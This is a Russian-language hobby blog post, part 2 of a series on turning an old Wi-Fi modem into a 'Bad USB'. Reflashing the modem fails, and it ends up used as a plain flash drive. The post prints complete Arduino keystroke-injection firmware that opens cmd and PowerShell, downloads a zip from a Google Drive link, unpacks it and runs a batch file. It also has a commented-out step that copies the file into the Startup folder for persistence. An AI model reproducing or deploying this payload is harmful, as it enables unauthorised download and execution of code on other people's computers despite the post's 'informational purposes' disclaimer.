Найти тему
Я - ХАКЕР

Создание Bad USB из старого модема часть 2

Оглавление

Всем привет. В этой статье мы продолжим сооружать и прошивать свой Bad USB из WIFI модема!

-2
КАК ОБЫЧНО Я ПРЕДУПРЕЖДАЮ,ЧТО ЭТОТ ДЕВАЙС В ПЛОХИХ РУКАХ МОЖЕТ ОЧЕНЬ СИЛЬНО НАВРЕДИТЬ И ПОНЕСТИ ПЛОХИЕ ПОСЛЕДСТВИЯ. ВЗЛОМЫ НЕ ЗАКОННЫ!!! ВСЁ В МОИХ СТАТЬЯХ ТОЛЬКО ЛИШЬ В ИНФОРМАЦИОННЫХ ЦЕЛЯХ!!!

Продолжим создание нашего девайса

Я поискал и нашёл у себя дома SD карту на 8 гб

-3

И какого было моё удивление,когда эта карта памяти подошла в этот модем

-4

Дальше осталось проверить: может ли она работать как флешка?И можно будет ли её прошить?

Сейчас попробуем ответить на первый вопрос

Вставляем в нашу тачку(будем начинать говорить хакерскими терминами. Тачка-это ПК или ноутбук(или моноблок))этот модем

-5

Как видим у нас получилось сделать из модема флешку!!!!

Ура!!!!Полдела сделано

Теперь перейдём к самому главному

ПРОШИВКА

Прошивать как я ранее говорил будем через мною модифицированной прошивкой на плате Arduino Leonardo

В этом скрипте я прописал,чтобы с начало скачивался на комп архив(по специальной ссылке на гугл диск),разархивировал его и запускаю .bat файл лежащий в этом архиве. В свою очередь бат файл запускает другой, а он в свою очередь запускает cmd и выводит в консоле специально составленное сообщение. Что то вроде: Этот компьютер был взломан хакером J. J. BI, но не бойтесь,я всего лишь стараюсь обезопасить и защитить этот компьютер от других хакеров

А вот и прошивка:

(в этом месте уберёте скобки и пропишите перед этим решётку)include <Keyboard.h>
void setup(){
Keyboard.begin();
delay(2000);
createFolder();
getFiles();
setUpFiles();
}
void loop(){}
void winPlusR() {
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(45);
Keyboard.releaseAll();
delay(100);
}
void createFolder(){
winPlusR();
// запускаем командную строку
Keyboard.println("cmd");
Keyboard.write(KEY_RETURN);
delay(500);
// переходим на диск C:\
Keyboard.println("cd C:/");
Keyboard.write(KEY_RETURN);
delay(100);
// создаём папку "Downloads"
Keyboard.println("mkdir Downloads");
Keyboard.write(KEY_RETURN);
delay(100);
// закрываем окно
Keyboard.println("exit");
Keyboard.write(KEY_RETURN);
delay(2000);
}
void getFiles(){
winPlusR();
// открываем powershell
Keyboard.println("powershell");
Keyboard.write(KEY_RETURN);
delay(1000);
// переходим в папку Downloads
Keyboard.println("cd C:/Downloads/");
Keyboard.write(KEY_RETURN);
delay(1000);
// задаём адрес для скачивания
Keyboard.println("$download_url = 'https://drive.google.com/file/d/1sZFF3QO3gUTXTn7KR4K3DasRYrNjLKOf/view?usp=sharing'");
Keyboard.write(KEY_RETURN);
delay(1000);
// задаём локальный путь для сохранения файла
Keyboard.println("$local_path = 'C:/Downloads/arch.zip'");
Keyboard.write(KEY_RETURN);
delay(1000);
// запускаем веб клиент
Keyboard.println("$WebClient = New-Object System.Net.WebClient");
Keyboard.write(KEY_RETURN);
delay(500);
// качаем архив
Keyboard.println("$WebClient.DownloadFile($download_url, $local_path)");
Keyboard.write(KEY_RETURN);
delay(1250);
// распаковываем его
Keyboard.println("Expand-Archive arch.zip");
Keyboard.write(KEY_RETURN);
delay(750);
// закрываем окно
Keyboard.println("exit");
Keyboard.write(KEY_RETURN);
delay(200);
}
void setUpFiles(){
winPlusR();
// открываем командную строку
Keyboard.println("cmd");
Keyboard.write(KEY_RETURN);
delay(100);
//Переходим в разархивированную папку
Keyboard.println("cd C:/Downloads/arch/");
Keyboard.write(KEY_RETURN);
//Запускаем скрипт "1.bat"
Keyboard.println("1.bat");
Keyboard.write(KEY_RETURN);
// прописываем в автозагрузку
//Keyboard.println("copy arch.bat C:/Users/оператор/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup ");
//Keyboard.write(KEY_RETURN);
delay(250);
// стираем написанное и закрываем cmd
Keyboard.println("cls && exit");
Keyboard.write(KEY_RETURN);
}

Что ж. Теперь пробуем загрузить прошивку. Я честно говоря не знаю получится или нет,но если получится буду очень радоваться. А если нет, то буду искать другие варианты создать Bad USB

Компилируем!)

-6

При компиляции как обычно у меня сердце в пятки ушло). Установится или нет? НАдеюсь,что всё пройдёт хорошо.

И,да он выдал ошибку. Но ничего страшного. Сейчас попробую исправить

-7

Ждём загрузки........................................................................................................................

P.s.ах да. Чуть не забыл. Заходим в инструменты и выбираем плату ардуино леонардо и порт нашего устройства либо COM3, либо COM5

ОТВЕЧАЕМ НА ВТОРОЙ ВОПРОС

К сожалению прошить этот модем не получилось

Я не много его видоизменил

-8

-9

Но так как прошить не удалось,я буду использовать этот модем просто как флешку

Но в другой раз я попробую заказать Ардуинку,а именно Pro Micro и прошью её прошивкой выше

ПОДПИСЫВАЙТЕСЬ,ЧТОБЫ НЕ ПРОПУСТИТЬ СОЗДАНИЕ ДЕВАЙСОВ ДЛЯ ПЕНТЕСТА